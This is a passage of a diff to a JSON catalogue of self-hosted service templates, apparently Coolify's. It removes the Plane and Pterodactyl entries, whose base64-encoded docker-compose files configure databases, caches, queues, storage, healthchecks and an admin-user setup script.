CiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgcmVzdGFydDogJ25vJwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtbWlncmF0b3Iuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfbWlncmF0b3I6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICBwbGFuZS1kYjoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUuNy1hbHBpbmUnCiAgICBjb21tYW5kOiAicG9zdGdyZXMgLWMgJ21heF9jb25uZWN0aW9ucz0xMDAwJyIKICAgIGVudmlyb25tZW50OgogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICB2b2x1bWVzOgogICAgICAtICdwZ2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLXJlZGlzOgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjcuMi41LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLW1xOgogICAgaW1hZ2U6ICdyYWJiaXRtcTozLjEzLjYtbWFuYWdlbWVudC1hbHBpbmUnCiAgICByZXN0YXJ0OiBhbHdheXMKICAgIGVudmlyb25tZW50OgogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgdm9sdW1lczoKICAgICAgLSAncmFiYml0bXFfZGF0YTovdmFyL2xpYi9yYWJiaXRtcScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAncmFiYml0bXEtZGlhZ25vc3RpY3MgLXEgcGluZycKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAzMHMKICAgICAgcmV0cmllczogMwogIHBsYW5lLW1pbmlvOgogICAgaW1hZ2U6ICdnaGNyLmlvL2Nvb2xsYWJzaW8vbWluaW86UkVMRUFTRS4yMDI1LTEwLTE1VDE3LTI5LTU1WicKICAgIGNvbW1hbmQ6ICdzZXJ2ZXIgL2V4cG9ydCAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwOTAiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAndXBsb2FkczovZXhwb3J0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG1jCiAgICAgICAgLSByZWFkeQogICAgICAgIC0gbG9jYWwKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
- "tags": [
- "plane",
- "project-management",
- "tool",
- "open",
- "source",
- "api",
- "nextjs",
- "redis",
- "postgresql",
- "django",
- "pm"
- ],
- "category": "productivity",
- "logo": "svgs/plane.svg",
- "minversion": "0.0.0"
- },
"plex": {
"documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io",
"slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.",
@@ -3858,38 +3837,6 @@
"minversion": "0.0.0",
"port": "9159"
},
- "pterodactyl-panel": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9VUkxfUFRFUk9EQUNUWUxfODAKICAgICAgLSAnQURNSU5fRU1BSUw9JHtBRE1JTl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdBRE1JTl9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0FETUlOX0ZJUlNUTkFNRT0ke0FETUlOX0ZJUlNUTkFNRTotQWRtaW59JwogICAgICAtICdBRE1JTl9MQVNUTkFNRT0ke0FETUlOX0xBU1ROQU1FOi1Vc2VyfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnUFRFUk9EQUNUWUxfSFRUUFM9JHtQVEVST0RBQ1RZTF9IVFRQUzotZmFsc2V9JwogICAgICAtIEFQUF9FTlY9cHJvZHVjdGlvbgogICAgICAtIEFQUF9FTlZJUk9OTUVOVF9PTkxZPWZhbHNlCiAgICAgIC0gQVBQX1VSTD0kU0VSVklDRV9VUkxfUFRFUk9EQUNUWUwKICAgICAgLSAnQVBQX1RJTUVaT05FPSR7VElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ0FQUF9TRVJWSUNFX0FVVEhPUj0ke0FQUF9TRVJWSUNFX0FVVEhPUjotYXV0aG9yQGV4YW1wbGUuY29tfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi1kZWJ1Z30nCiAgICAgIC0gQ0FDSEVfRFJJVkVSPXJlZGlzCiAgICAgIC0gU0VTU0lPTl9EUklWRVI9cmVkaXMKICAgICAgLSBRVUVVRV9EUklWRVI9cmVkaXMKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gREJfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBEQl9VU0VSTkFNRT0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gREJfUE9SVD0zMzA2CiAgICAgIC0gREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSBNQUlMX0ZST009JE1BSUxfRlJPTQogICAgICAtIE1BSUxfRFJJVkVSPSRNQUlMX0RSSVZFUgogICAgICAtIE1BSUxfSE9TVD0kTUFJTF9IT1NUCiAgICAgIC0gTUFJTF9QT1JUPSRNQUlMX1BPUlQKICAgICAgLSBNQUlMX1VTRVJOQU1FPSRNQUlMX1VTRVJOQU1FCiAgICAgIC0gTUFJTF9QQVNTV09SRD0kTUFJTF9QQVNTV09SRAogICAgICAtIE1BSUxfRU5DUllQVElPTj0kTUFJTF9FTkNSWVBUSU9OCg==",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80"
- },
- "pterodactyl-with-wings": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9VUkxfUFRFUk9EQUNUWUxfODAKICAgICAgLSAnQURNSU5fRU1BSUw9JHtBRE1JTl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdBRE1JTl9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0FETUlOX0ZJUlNUTkFNRT0ke0FETUlOX0ZJUlNUTkFNRTotQWRtaW59JwogICAgICAtICdBRE1JTl9MQVNUTkFNRT0ke0FETUlOX0xBU1ROQU1FOi1Vc2VyfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnUFRFUk9EQUNUWUxfSFRUUFM9JHtQVEVST0RBQ1RZTF9IVFRQUzotZmFsc2V9JwogICAgICAtIEFQUF9FTlY9cHJvZHVjdGlvbgogICAgICAtIEFQUF9FTlZJUk9OTUVOVF9PTkxZPWZhbHNlCiAgICAgIC0gQVBQX1VSTD0kU0VSVklDRV9VUkxfUFRFUk9EQUNUWUwKICAgICAgLSAnQVBQX1RJTUVaT05FPSR7VElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ0FQUF9TRVJWSUNFX0FVVEhPUj0ke0FQUF9TRVJWSUNFX0FVVEhPUjotYXV0aG9yQGV4YW1wbGUuY29tfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi1kZWJ1Z30nCiAgICAgIC0gQ0FDSEVfRFJJVkVSPXJlZGlzCiAgICAgIC0gU0VTU0lPTl9EUklWRVI9cmVkaXMKICAgICAgLSBRVUVVRV9EUklWRVI9cmVkaXMKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gREJfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBEQl9VU0VSTkFNRT0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gREJfUE9SVD0zMzA2CiAgICAgIC0gREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSBNQUlMX0ZST009JE1BSUxfRlJPTQogICAgICAtIE1BSUxfRFJJVkVSPSRNQUlMX0RSSVZFUgogICAgICAtIE1BSUxfSE9TVD0kTUFJTF9IT1NUCiAgICAgIC0gTUFJTF9QT1JUPSRNQUlMX1BPUlQKICAgICAgLSBNQUlMX1VTRVJOQU1FPSRNQUlMX1VTRVJOQU1FCiAgICAgIC0gTUFJTF9QQVNTV09SRD0kTUFJTF9QQVNTV09SRAogICAgICAtIE1BSUxfRU5DUllQVElPTj0kTUFJTF9FTkNSWVBUSU9OCiAgd2luZ3M6CiAgICBpbWFnZTogJ2doY3IuaW8vcHRlcm9kYWN0eWwvd2luZ3M6djEuMTIuMScKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBwb3J0czoKICAgICAgLSAnMjAyMjoyMDIyJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0lOR1NfODQ0MwogICAgICAtICdUWj0ke1RJTUVaT05FOi1VVEN9JwogICAgICAtIFdJTkdTX1VTRVJOQU1FPXB0ZXJvZGFjdHlsCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnL3Zhci9saWIvZG9ja2VyL2NvbnRhaW5lcnMvOi92